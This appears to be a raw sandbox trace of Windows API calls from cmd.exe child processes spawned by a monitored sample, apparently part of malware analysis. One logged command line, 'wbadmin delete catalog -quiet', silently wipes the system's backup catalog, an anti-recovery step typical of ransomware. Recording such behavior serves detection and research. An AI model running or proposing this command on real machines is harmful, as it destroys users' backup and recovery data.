_wcsicmp (_String1="wmic", _String2="CALL") returned 20 [0039.879] _wcsicmp (_String1="wmic", _String2="VERIFY") returned 1 [0039.879] _wcsicmp (_String1="wmic", _String2="VER") returned 1 [0039.879] _wcsicmp (_String1="wmic", _String2="VOL") returned 1 [0039.879] _wcsicmp (_String1="wmic", _String2="EXIT") returned 18 [0039.879] _wcsicmp (_String1="wmic", _String2="SETLOCAL") returned 4 [0039.879] _wcsicmp (_String1="wmic", _String2="ENDLOCAL") returned 18 [0039.879] _wcsicmp (_String1="wmic", _String2="TITLE") returned 3 [0039.879] _wcsicmp (_String1="wmic", _String2="START") returned 4 [0039.879] _wcsicmp (_String1="wmic", _String2="DPATH") returned 19 [0039.879] _wcsicmp (_String1="wmic", _String2="KEYS") returned 12 [0039.879] _wcsicmp (_String1="wmic", _String2="MOVE") returned 10 [0039.879] _wcsicmp (_String1="wmic", _String2="PUSHD") returned 7 [0039.879] _wcsicmp (_String1="wmic", _String2="POPD") returned 7 [0039.879] _wcsicmp (_String1="wmic", _String2="ASSOC") returned 22 [0039.879] _wcsicmp (_String1="wmic", _String2="FTYPE") returned 17 [0039.879] _wcsicmp (_String1="wmic", _String2="BREAK") returned 21 [0039.879] _wcsicmp (_String1="wmic", _String2="COLOR") returned 20 [0039.880] _wcsicmp (_String1="wmic", _String2="MKLINK") returned 10 [0039.880] _wcsicmp (_String1="wmic", _String2="FOR") returned 17 [0039.880] _wcsicmp (_String1="wmic", _String2="IF") returned 14 [0039.880] _wcsicmp (_String1="wmic", _String2="REM") returned 5 [0039.880] GetProcessHeap () returned 0x7e0000 [0039.880] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x210) returned 0x7f3050 [0039.880] GetProcessHeap () returned 0x7e0000 [0039.880] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x38) returned 0x7f3268 [0039.880] _wcsnicmp (_String1="wmic", _String2="cmd ", _MaxCount=0x4) returned 20 [0039.880] GetProcessHeap () returned 0x7e0000 [0039.880] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x418) returned 0x7e07f0 [0039.880] SetErrorMode (uMode=0x0) returned 0x0 [0039.880] SetErrorMode (uMode=0x1) returned 0x0 [0039.880] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x7e07f8, lpFilePart=0x45f358 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x45f358*="Desktop") returned 0x25 [0039.880] SetErrorMode (uMode=0x0) returned 0x1 [0039.880] GetProcessHeap () returned 0x7e0000 [0039.880] RtlReAllocateHeap (Heap=0x7e0000, Flags=0x0, Ptr=0x7e07f0, Size=0x5e) returned 0x7e07f0 [0039.880] GetProcessHeap () returned 0x7e0000 [0039.881] RtlSizeHeap (HeapHandle=0x7e0000, Flags=0x0, MemoryPointer=0x7e07f0) returned 0x5e [0039.881] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0039.881] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0039.881] GetProcessHeap () returned 0x7e0000 [0039.881] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x120) returned 0x7f32a8 [0039.881] GetProcessHeap () returned 0x7e0000 [0039.881] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0x238) returned 0x7e0858 [0039.887] GetProcessHeap () returned 0x7e0000 [0039.887] RtlReAllocateHeap (Heap=0x7e0000, Flags=0x0, Ptr=0x7e0858, Size=0x122) returned 0x7e0858 [0039.887] GetProcessHeap () returned 0x7e0000 [0039.887] RtlSizeHeap (HeapHandle=0x7e0000, Flags=0x0, MemoryPointer=0x7e0858) returned 0x122 [0039.887] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0039.887] GetProcessHeap () returned 0x7e0000 [0039.887] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0xe0) returned 0x7f33d0 [0039.888] GetConsoleTitleW (in: lpConsoleTitle=0x45f5cc, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0040.344] InitializeProcThreadAttributeList (in: lpAttributeList=0x45f454, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x45f51c | out: lpAttributeList=0x45f454, lpSize=0x45f51c) returned 1 [0040.345] UpdateProcThreadAttribute (in: lpAttributeList=0x45f454, dwFlags=0x0, Attribute=0x60001, lpValue=0x45f514, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x45f454, lpPreviousValue=0x0) returned 1 [0040.345] GetStartupInfoW (in: lpStartupInfo=0x45f410 | out: lpStartupInfo=0x45f410*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0040.439] CloseHandle (hObject=0x74) returned 1 [0040.439] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0040.439] GetProcessHeap () returned 0x7e0000 [0040.439] HeapFree (in: hHeap=0x7e0000, dwFlags=0x0, lpMem=0x7f5eb8 | out: hHeap=0x7e0000) returned 1 [0040.439] GetEnvironmentStringsW () returned 0x7f5eb8* [0040.439] GetProcessHeap () returned 0x7e0000 [0040.439] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0xb36) returned 0x7f4078 [0040.439] FreeEnvironmentStringsW (penv=0x7f5eb8) returned 1 [0040.439] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0073.646] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x45f3f0 | out: lpExitCode=0x45f3f0*=0x80041014) returned 1 [0073.647] CloseHandle (hObject=0x78) returned 1 [0073.647] _vsnwprintf (in: _Buffer=0x45f538, _BufferCount=0x13, _Format="%08X", _ArgList=0x45f3fc | out: _Buffer="80041014") returned 8 [0073.647] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="80041014") returned 1 [0073.647] GetProcessHeap () returned 0x7e0000 [0073.647] HeapFree (in: hHeap=0x7e0000, dwFlags=0x0, lpMem=0x7f4078 | out: hHeap=0x7e0000) returned 1 [0073.647] GetEnvironmentStringsW () returned 0x7f4078* [0073.647] GetProcessHeap () returned 0x7e0000 [0073.647] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0xb5c) returned 0x7f9560 [0073.647] FreeEnvironmentStringsW (penv=0x7f4078) returned 1 [0073.647] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0073.647] GetProcessHeap () returned 0x7e0000 [0073.647] HeapFree (in: hHeap=0x7e0000, dwFlags=0x0, lpMem=0x7f9560 | out: hHeap=0x7e0000) returned 1 [0073.647] GetEnvironmentStringsW () returned 0x7f4078* [0073.648] GetProcessHeap () returned 0x7e0000 [0073.648] RtlAllocateHeap (HeapHandle=0x7e0000, Flags=0x8, Size=0xb5c) returned 0x7f9560 [0073.648] FreeEnvironmentStringsW (penv=0x7f4078) returned 1 [0073.648] GetProcessHeap () returned 0x7e0000 [0073.648] HeapFree (in: hHeap=0x7e0000, dwFlags=0x0, lpMem=0x7efec8 | out: hHeap=0x7e0000) returned 1 [0073.648] DeleteProcThreadAttributeList (in: lpAttributeList=0x45f454 | out: lpAttributeList=0x45f454) [0073.648] _get_osfhandle (_FileHandle=1) returned 0x7 [0073.648] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0073.648] _get_osfhandle (_FileHandle=1) returned 0x7 [0073.648] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0073.648] _get_osfhandle (_FileHandle=0) returned 0x3 [0073.648] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0073.649] SetConsoleInputExeNameW () returned 0x1 [0073.649] GetConsoleOutputCP () returned 0x1b5 [0073.649] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0073.649] SetThreadUILanguage (LangId=0x0) returned 0x409 [0073.649] exit (_Code=-2147217388) Process: id = "29" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x304a2000" os_pid = "0x888" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "cmd.exe /c wbadmin delete catalog -quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 35 os_tid = 0x988 [0038.113] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16fb54 | out: lpSystemTimeAsFileTime=0x16fb54*(dwLowDateTime=0xa79fe960, dwHighDateTime=0x1d5e09d)) [0038.113] GetCurrentProcessId () returned 0x888 [0038.113] GetCurrentThreadId () returned 0x988 [0038.113] GetTickCount () returned 0x1154a59 [0038.113] QueryPerformanceCounter (in: lpPerformanceCount=0x16fb4c | out: lpPerformanceCount=0x16fb4c*=17998434301) returned 1 [0038.114] GetModuleHandleA (lpModuleName=0x0) returned 0x4a840000 [0038.114] __set_app_type (_Type=0x1) [0038.114] __p__fmode () returned 0x76be31f4 [0038.114] __p__commode () returned 0x76be31fc [0038.115] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8621a6) returned 0x0 [0038.115] __getmainargs (in: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c, _DoWildCard=0, _StartInfo=0x4a864140 | out: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c) returned 0 [0038.115] GetCurrentThreadId () returned 0x988 [0038.115] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x988) returned 0x60 [0038.115] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0038.115] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0038.115] SetThreadUILanguage (LangId=0x0) returned 0x409 [0038.115] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0038.115] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x16fae4 | out: phkResult=0x16fae4*=0x0) returned 0x2 [0038.116] VirtualQuery (in: lpAddress=0x16fb1b, lpBuffer=0x16fab4, dwLength=0x1c | out: lpBuffer=0x16fab4*(BaseAddress=0x16f000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.116] VirtualQuery (in: lpAddress=0x70000, lpBuffer=0x16fab4, dwLength=0x1c | out: lpBuffer=0x16fab4*(BaseAddress=0x70000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0038.116] VirtualQuery (in: lpAddress=0x71000, lpBuffer=0x16fab4, dwLength=0x1c | out: lpBuffer=0x16fab4*(BaseAddress=0x71000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0038.116] VirtualQuery (in: lpAddress=0x73000, lpBuffer=0x16fab4, dwLength=0x1c | out: lpBuffer=0x16fab4*(BaseAddress=0x73000, AllocationBase=0x70000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0038.116] VirtualQuery (in: lpAddress=0x170000, lpBuffer=0x16fab4, dwLength=0x1c | out: lpBuffer=0x16fab4*(BaseAddress=0x170000, AllocationBase=0x170000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x40000)) returned 0x1c [0038.116] GetConsoleOutputCP () returned 0x1b5 [0038.116] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0038.116] SetConsoleCtrlHandler (HandlerRoutine=0x4a85e72a, Add=1) returned 1 [0038.116] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.116] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0038.116] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.116] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0038.117] _get_osfhandle (_FileHandle=1) returned 0x7 [0038.117] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0038.117] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.117] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0038.117] _get_osfhandle (_FileHandle=0) returned 0x3 [0038.117] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0038.117] GetEnvironmentStringsW () returned 0x282008* [0038.117] GetProcessHeap () returned 0x270000 [0038.117] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xaca) returned 0x282ae0 [0038.117] FreeEnvironmentStringsW (penv=0x282008) returned 1 [0038.118] GetProcessHeap () returned 0x270000 [0038.118] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x4) returned 0x280c40 [0038.118] GetEnvironmentStringsW () returned 0x282008* [0038.118] GetProcessHeap () returned 0x270000 [0038.118] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xaca) returned 0x2835b8 [0038.118] FreeEnvironmentStringsW (penv=0x282008) returned 1 [0038.118] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16ea54 | out: phkResult=0x16ea54*=0x68) returned 0x0 [0038.118] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16ea5c, lpData=0x16ea60, lpcbData=0x16ea58*=0x1000 | out: lpType=0x16ea5c*=0x0, lpData=0x16ea60*=0x0, lpcbData=0x16ea58*=0x1000) returned 0x2 [0038.118] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16ea5c, lpData=0x16ea60, lpcbData=0x16ea58*=0x1000 | out: lpType=0x16ea5c*=0x4, lpData=0x16ea60*=0x1, lpcbData=0x16ea58*=0x4) returned 0x0 [0038.118] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16ea5c, lpData=0x16ea60, lpcbData=0x16ea58*=0x1000 | out: lpType=0x16ea5c*=0x0, lpData=0x16ea60*=0x1, lpcbData=0x16ea58*=0x1000) returned 0x2 [0038.118] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16ea5c, lpData=0x16ea60, lpcbData=0x16ea58*=0x1000 | out: lpType=0x16ea5c*=0x4, lpData=0x16ea60*=0x0, lpcbData=0x16ea58*=0x4) returned 0x0 [0038.118] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16ea5c, lpData=0x16ea60, lpcbData=0x16ea58*=0x1000 | out: lpType=0x16ea5c*=0x4, lpData=0x16ea60*=0x40, lpcbData=0x16ea58*=0x4) returned 0x0 [0038.118] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16ea5c, lpData=0x16ea60, lpcbData=0x16ea58*=0x1000 | out: lpType=0x16ea5c*=0x4, lpData=0x16ea60*=0x40, lpcbData=0x16ea58*=0x4) returned 0x0 [0038.118] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16ea5c, lpData=0x16ea60, lpcbData=0x16ea58*=0x1000 | out: lpType=0x16ea5c*=0x0, lpData=0x16ea60*=0x40, lpcbData=0x16ea58*=0x1000) returned 0x2 [0038.118] RegCloseKey (hKey=0x68) returned 0x0 [0038.118] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x16ea54 | out: phkResult=0x16ea54*=0x68) returned 0x0 [0038.118] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x16ea5c, lpData=0x16ea60, lpcbData=0x16ea58*=0x1000 | out: lpType=0x16ea5c*=0x0, lpData=0x16ea60*=0x40, lpcbData=0x16ea58*=0x1000) returned 0x2 [0038.119] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x16ea5c, lpData=0x16ea60, lpcbData=0x16ea58*=0x1000 | out: lpType=0x16ea5c*=0x4, lpData=0x16ea60*=0x1, lpcbData=0x16ea58*=0x4) returned 0x0 [0038.119] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x16ea5c, lpData=0x16ea60, lpcbData=0x16ea58*=0x1000 | out: lpType=0x16ea5c*=0x0, lpData=0x16ea60*=0x1, lpcbData=0x16ea58*=0x1000) returned 0x2 [0038.119] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x16ea5c, lpData=0x16ea60, lpcbData=0x16ea58*=0x1000 | out: lpType=0x16ea5c*=0x4, lpData=0x16ea60*=0x0, lpcbData=0x16ea58*=0x4) returned 0x0 [0038.119] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x16ea5c, lpData=0x16ea60, lpcbData=0x16ea58*=0x1000 | out: lpType=0x16ea5c*=0x4, lpData=0x16ea60*=0x9, lpcbData=0x16ea58*=0x4) returned 0x0 [0038.119] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x16ea5c, lpData=0x16ea60, lpcbData=0x16ea58*=0x1000 | out: lpType=0x16ea5c*=0x4, lpData=0x16ea60*=0x9, lpcbData=0x16ea58*=0x4) returned 0x0 [0038.119] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x16ea5c, lpData=0x16ea60, lpcbData=0x16ea58*=0x1000 | out: lpType=0x16ea5c*=0x0, lpData=0x16ea60*=0x9, lpcbData=0x16ea58*=0x1000) returned 0x2 [0038.119] RegCloseKey (hKey=0x68) returned 0x0 [0038.119] time (in: timer=0x0 | out: timer=0x0) returned 0x5e423e1c [0038.119] srand (_Seed=0x5e423e1c) [0038.119] GetCommandLineW () returned="cmd.exe /c wbadmin delete catalog -quiet" [0038.119] GetCommandLineW () returned="cmd.exe /c wbadmin delete catalog -quiet" [0038.119] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.119] GetProcessHeap () returned 0x270000 [0038.119] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x210) returned 0x282008 [0038.119] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x282010, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0038.119] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0038.120] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0038.120] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.120] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0038.120] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0038.120] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0038.120] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0038.120] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0038.120] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0038.120] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0038.120] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0038.120] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0038.120] GetProcessHeap () returned 0x270000 [0038.120] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x282ae0 | out: hHeap=0x270000) returned 1 [0038.120] GetEnvironmentStringsW () returned 0x282220* [0038.120] GetProcessHeap () returned 0x270000 [0038.120] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xae2) returned 0x284b80 [0038.120] FreeEnvironmentStringsW (penv=0x282220) returned 1 [0038.120] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0038.120] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0038.120] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0038.120] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0038.120] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0038.120] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0038.120] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0038.120] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0038.120] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0038.120] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0038.120] GetProcessHeap () returned 0x270000 [0038.120] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x54) returned 0x285670 [0038.120] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x16f820 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.121] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x16f820, lpFilePart=0x16f81c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x16f81c*="Desktop") returned 0x25 [0038.121] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.121] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x16f59c | out: lpFindFileData=0x16f59c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x281e88 [0038.121] FindClose (in: hFindFile=0x281e88 | out: hFindFile=0x281e88) returned 1 [0038.121] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x16f59c | out: lpFindFileData=0x16f59c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x281e88 [0038.121] FindClose (in: hFindFile=0x281e88 | out: hFindFile=0x281e88) returned 1 [0038.121] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0038.121] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x16f59c | out: lpFindFileData=0x16f59c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5885400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xa5885400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x281e88 [0038.121] FindClose (in: hFindFile=0x281e88 | out: hFindFile=0x281e88) returned 1 [0038.121] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0038.122] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0038.122] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0038.122] GetProcessHeap () returned 0x270000 [0038.122] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x284b80 | out: hHeap=0x270000) returned 1 [0038.122] GetEnvironmentStringsW () returned 0x284090* [0038.122] GetProcessHeap () returned 0x270000 [0038.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xb36) returned 0x285ed0 [0038.122] FreeEnvironmentStringsW (penv=0x284090) returned 1 [0038.122] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0038.122] GetProcessHeap () returned 0x270000 [0038.122] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x285670 | out: hHeap=0x270000) returned 1 [0038.122] GetProcessHeap () returned 0x270000 [0038.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x400e) returned 0x286a10 [0038.122] GetProcessHeap () returned 0x270000 [0038.122] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x48) returned 0x281e88 [0038.122] GetProcessHeap () returned 0x270000 [0038.123] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x286a10 | out: hHeap=0x270000) returned 1 [0038.123] GetConsoleOutputCP () returned 0x1b5 [0038.824] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0038.824] GetUserDefaultLCID () returned 0x409 [0038.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a864950, cchData=8 | out: lpLCData=":") returned 2 [0038.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x16f960, cchData=128 | out: lpLCData="0") returned 2 [0038.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x16f960, cchData=128 | out: lpLCData="0") returned 2 [0038.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x16f960, cchData=128 | out: lpLCData="1") returned 2 [0038.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a864940, cchData=8 | out: lpLCData="/") returned 2 [0038.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a864d80, cchData=32 | out: lpLCData="Mon") returned 4 [0038.825] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a864d40, cchData=32 | out: lpLCData="Tue") returned 4 [0038.825] 